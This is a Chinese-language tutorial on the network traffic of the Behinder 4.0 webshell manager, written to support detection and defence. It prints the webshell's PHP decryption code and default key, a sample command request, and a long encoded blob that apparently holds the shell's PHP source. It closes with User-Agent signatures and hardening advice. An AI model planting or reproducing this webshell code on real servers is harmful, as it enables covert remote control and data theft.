冰蝎4.0客户端流量分析
字数 2638 2025-08-22 22:47:30
冰蝎4.0客户端流量分析教学文档
1. 冰蝎4.0概述
冰蝎(Behinder)是一款流行的Webshell管理工具,4.0版本相较于之前版本在流量加密和功能实现上更为复杂。本文档将详细分析冰蝎4.0客户端的流量特征、加密机制以及各类操作的数据包结构。
2. 核心加密机制
2.1 加密流程
冰蝎4.0采用多层加密机制:
- 初始加密:使用AES-128或异或(XOR)加密
- Base64编码:对加密后的数据进行Base64编码
- JSON封装:将数据封装为JSON格式
- 二次加密:对JSON数据进行最终加密传输
2.2 密钥管理
密钥默认值为e45e329feb5d925b,这是连接密码32位MD5值的前16位。密钥存储在会话变量中:
$key="e45e329feb5d925b";
$_SESSION['k']=$key;
session_write_close();
2.3 加密实现代码
if(!extension_loaded('openssl')) {
// 无OpenSSL扩展时使用异或加密
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
} else {
// 有OpenSSL扩展时使用AES-128加密
$post=openssl_decrypt($post, "AES128", $key);
}
3. 通信流程分析
3.1 连接确认流程
冰蝎连接服务端时使用两个数据包:
- 第一包:用于确认连接
- 第二包:用于获取服务器信息
3.2 命令执行流程
- 客户端发送加密命令
- 服务端解密并执行命令
- 服务端将执行结果加密后返回
- 客户端解密并显示结果
4. 各类操作分析
4.1 基本信息获取
服务端返回的信息结构:
{
"basicInfo": "phpinfo信息",
"driveList": "/",
"currentPath": "/www/wwwroot/upload/upload",
"osInfo": "Linux",
"arch": "64",
"localIp": "127.0.1.1 192.168.56.3"
}
4.2 命令执行
请求示例
$cmd="Y2QgL3d3dy93d3dyb290L3BrLyA7bHM="; // "cd /www/wwwroot/pk/ ;ls"
$cmd=base64_decode($cmd);
$path="L3d3dy93d3dyb290L3BrLw=="; // "/www/wwwroot/pk/"
$path=base64_decode($path);
main($cmd,$path);
执行函数选择逻辑
服务端会依次尝试以下函数执行命令:
system()proc_open()passthru()shell_exec()exec()popen()
返回结果结构
{
"status": "c3VjY2Vzcw==", // "success"
"msg": "W3sibmFtZSI6I... (base64编码的执行结果)"
}
4.3 文件操作
目录读取
返回示例:
{
"status": "c3VjY2Vzcw==",
"msg": "W3sibmFtZSI6IkxnPT0iLCJzaXplIjoiTkRBNU5nPT0iLCJsYXN0TW9kaWZpZWQiOiJNakF5TkMwd05DMHhPU0F4TkRvMU9Ub3lNQT09IiwicGVybSI6IlVpOHRMMFU9IiwidHlwZSI6IlpHbHlaV04wYjNKNSJ9,..."
}
解码后:
[
{
"name": ".",
"size": "4096",
"lastModified": "2024-04-19 14:59:20",
"perm": "R/-/E",
"type": "directory"
},
{
"name": "..",
"size": "4096",
"lastModified": "2024-04-15 21:35:08",
"perm": "R/W/E",
"type": "directory"
},
{
"name": "readme.php",
"size": "97",
"lastModified": "2024-04-15 21:34:34",
"perm": "R/-/-",
"type": "file"
}
]
文件读取
返回示例:
{
"status": "c3VjY2Vzcw==",
"msg": "UEQ5d2FIQUtRR1Z5Y205eVgzSmxjRzl5ZEdsdVp5Z3dLVHNLYzJWemMybHZibDl6ZEdGeWRDZ3BPd29nSUNBZ0pHdGxlVDBpWlRRMVpUTXlPV1psWWpWa09USTFZaUk3SUM4djZLK2w1YStHNlpLbDVMaTY2TCtlNW82bDVhK0c1NkNCTXpMa3ZZMXRaRFhsZ0x6bm1vVGxpWTB4TnVTOWplKzhqT203bU9pdXBPaS9udWFPcGVXdmh1ZWdnWEpsWW1WNWIyNWtDZ2trWDFORlUxTkpUMDViSjJzblhUMGthMlY1T3dvSmMyVnpjMmx2Ymw5M2NtbDBaVjlqYkc5elpTZ3BPd29KSkhCdmMzUTlabWxzWlY5blpYUmZZMjl1ZEdWdWRITW9JbkJvY0RvdkwybHVjSFYwSWlrN0NnbHBaaWdoWlhoMFpXNXphVzl1WDJ4dllXUmxaQ2duYjNCbGJuTnpiQ2NwS1FvSmV3b0pDU1IwUFNKaVlYTmxOalJmSWk0aVpHVmpiMlJsSWpzS0NRa2tjRzl6ZEQwa2RDZ2tjRzl6ZEM0aUlpazdDZ2tKQ2drSlptOXlLQ1JwUFRBN0pHazhjM1J5YkdWdUtDUndiM04wS1Rza2FTc3JLU0I3Q2lBZ0lDQUpDUWtnSkhCdmMzUmJKR2xkSUQwZ0pIQnZjM1JiSkdsZFhpUnJaWGxiSkdrck1TWXhOVjA3SUFvZ0lDQWdDUWtKZlFvSmZRb0paV3h6WlFvSmV3b0pDU1J3YjNOMFBXOXdaVzV6YzJ4ZlpHVmpjbmx3ZENna2NHOXpkQ3dnSWtGRlV6RXlPQ0lzSUNSclpYa3BPd29KZlFvZ0lDQWdKR0Z5Y2oxbGVIQnNiMlJsS0NkOEp5d2tjRzl6ZENrN0NpQWdJQ0FrWm5WdVl6MGtZWEp5V3pCZE93b2dJQ0FnSkhCaGNtRnRjejBrWVhKeVd6RmRPd29KWTJ4aGMzTWdRM3R3ZFdKc2FXTWdablZ1WTNScGIyNGdYMTlwYm5admEyVW9KSEFwSUh0bGRtRnNLQ1J3TGlJaUtUdDlmUW9nSUNBZ1FHTmhiR3hmZFhObGNsOW1kVzVqS0c1bGR5QkRLQ2tzSkhCaGNtRnRjeWs3Q2o4K0NnPT0="
}
解码后为文件内容的Base64编码,需要二次解码才能获取实际内容。
文件下载
与文件读取不同,文件下载时返回的JSON结构会"头尾颠倒":
{
"msg": "UEQ5d2FIQUtRR1Z5Y205eVgzSmxjRzl5ZEdsdVp5Z3dLVHNLYzJWemMybHZibDl6ZEdGeWRDZ3BPd29nSUNBZ0pHdGxlVDBpWlRRMVpUTXlPV1psWWpWa09USTFZaUk3SUM4djZLK2w1YStHNlpLbDVMaTY2TCtlNW82bDVhK0c1NkNCTXpMa3ZZMXRaRFhsZ0x6bm1vVGxpWTB4TnVTOWplKzhqT203bU9pdXBPaS9udWFPcGVXdmh1ZWdnWEpsWW1WNWIyNWtDZ2trWDFORlUxTkpUMDViSjJzblhUMGthMlY1T3dvSmMyVnpjMmx2Ymw5M2NtbDBaVjlqYkc5elpTZ3BPd29KSkhCdmMzUTlabWxzWlY5blpYUmZZMjl1ZEdWdWRITW9JbkJvY0RvdkwybHVjSFYwSWlrN0NnbHBaaWdoWlhoMFpXNXphVzl1WDJ4dllXUmxaQ2duYjNCbGJuTnpiQ2NwS1FvSmV3b0pDU1IwUFNKaVlYTmxOalJmSWk0aVpHVmpiMlJsSWpzS0NRa2tjRzl6ZEQwa2RDZ2tjRzl6ZEM0aUlpazdDZ2tKQ2drSlptOXlLQ1JwUFRBN0pHazhjM1J5YkdWdUtDUndiM04wS1Rza2FTc3JLU0I3Q2lBZ0lDQUpDUWtnSkhCdmMzUmJKR2xkSUQwZ0pIQnZjM1JiSkdsZFhpUnJaWGxiSkdrck1TWXhOVjA3SUFvZ0lDQWdDUWtKZlFvSmZRb0paV3h6WlFvSmV3b0pDU1J3YjNOMFBXOXdaVzV6YzJ4ZlpHVmpjbmx3ZENna2NHOXpkQ3dnSWtGRlV6RXlPQ0lzSUNSclpYa3BPd29KZlFvZ0lDQWdKR0Z5Y2oxbGVIQnNiMlJsS0NkOEp5d2tjRzl6ZENrN0NpQWdJQ0FrWm5WdVl6MGtZWEp5V3pCZE93b2dJQ0FnSkhCaGNtRnRjejBrWVhKeVd6RmRPd29KWTJ4aGMzTWdRM3R3ZFdKc2FXTWdablZ1WTNScGIyNGdYMTlwYm5admEyVW9KSEFwSUh0bGRtRnNLQ1J3TGlJaUtUdDlmUW9nSUNBZ1FHTmhiR3hmZFhObGNsOW1kVzVqS0c1bGR5QkRLQ2tzSkhCaGNtRnRjeWs3Q2o4K0NnPT0=",
"status": "c3VjY2Vzcw=="
}
文件下载通常会有两个包:
- 第一个包用于读取文件
- 第二个包用于确认下载完成
5. 流量特征分析
5.1 HTTP头部特征
Content-Type
- PHP:
application/x-www-form-urlencoded - ASPX:
application/octet-stream - ASP: 无特定Content-Type
User-Agent
冰蝎4.0使用固定的10个较旧User-Agent:
Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Edg/99.0.1150.55Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
5.2 数据特征
- 多层加密:Base64+AES/XOR+JSON
- 文件操作流量大:由于整合了所有文件操作且包含大量注释,单个发送包通常在400KB左右
- 固定密钥:默认使用
e45e329feb5d925b作为密钥 - 数据格式:几乎所有通信数据都经过Base64编码
6. 检测与防御建议
6.1 检测方法
-
流量特征检测:
- 匹配已知的User-Agent
- 检查Content-Type与文件类型的对应关系
- 检测异常大的HTTP请求/响应包
-
行为特征检测:
- 检测Base64解码+AES/XOR解密行为
- 监控eval()、system()等危险函数调用
-
密钥检测:
- 检查会话中是否存储了默认密钥
e45e329feb5d925b
- 检查会话中是否存储了默认密钥
6.2 防御建议
-
Web应用防护:
- 禁用危险函数:eval()、system()、exec()等
- 限制文件操作权限
- 监控异常的文件读写行为
-
网络层防护:
- 部署WAF规则检测冰蝎特征
- 监控异常加密流量
- 限制服务器出站连接
-
日志分析:
- 记录所有文件操作日志
- 分析异常会话行为
- 监控PHP执行日志
7. 解密工具
可以使用在线AES解密工具配合获取的密钥解密冰蝎流量:
http://tools.bugscaner.com/cryptoaes/
8. 总结
冰蝎4.0作为一款功能强大的Webshell管理工具,其主要特点包括:
- 采用多层加密机制保障通信安全
- 使用固定但较旧的User-Agent
- 文件操作流量显著大于其他操作
- 所有通信数据都经过Base64编码
- 默认使用固定密钥
e45e329feb5d925b
通过分析其流量特征和行为模式,可以有效检测和防御冰蝎Webshell的攻击。